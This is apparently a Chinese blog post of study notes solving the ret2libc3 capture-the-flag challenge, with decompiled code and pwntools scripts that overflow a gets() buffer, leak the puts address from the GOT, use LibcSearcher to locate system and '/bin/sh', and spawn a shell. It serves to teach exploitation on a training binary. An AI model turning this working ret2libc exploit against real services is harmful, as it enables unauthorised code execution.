发布于 

pwn学习笔记-ret2libc3

在ret2libc2的基础上,将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护

程序仍然开启了NX

拖入ida中查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

仍然是在gets函数处利用,但是在程序中现在没有了system函数和/bin/sh字符串

这里就需要了解一下libc的作用

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序开启了ALSR,但是程序的低3位地址是不会变的,我们可以泄露出某个执行过的函数的低三位地址进而确定libc的版本
  • 泄露某个函数的地址我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。

脚本如下:

from pwn import *
context.log_level = 'debug'
p = process('./ret2libc3')

elf = ELF('./ret2libc3')

p.sendlineafter('!?','a'*112+p32(elf.plt['puts'])+'aaaa'+p32(elf.got['puts']))

p.interactive()

我们可以通过此处泄露puts函数的地址

可以看到地址的低三位为ca0

下面我们可以确定libc的版本,我们可以用到LibcSearcher

github地址为https://github.com/lieanu/LibcSearcher

当然这个工具的强大之处不只如此,我们可以把它当做第三方库来使用

引用说明文档的例子

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")#system 偏移
obj.dump("str_bin_sh")#/bin/sh 偏移
obj.dump("__libc_start_main_ret")

所以得到了libc的版本后,我们就可以获得libc中system函数和/bin/sh的地址

将LibcSearcher作为第三方库,最后的脚本为:

from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')

elf = ELF('./ret2libc3')

p.sendlineafter('!?','a'*112+p32(elf.plt['puts'])+p32(0x08048618)+p32(elf.got['puts']))

puts_addr = u32(p.recv(4))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')

system_addr = libc_base + libc.dump('system')

binsh = libc_base + libc.dump('str_bin_sh')

p.sendlineafter('!?','a'*112+p32(system_addr)+p32(0x08048618)+p32(binsh))


p.interactive()

调用完puts函数后我们让该函数返回到程序的主函数处
脚本执行需要等待一会,可能是寻找libc较费时间

成功获得了shell


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 @yemoli 创建,使用 Stellar 作为主题。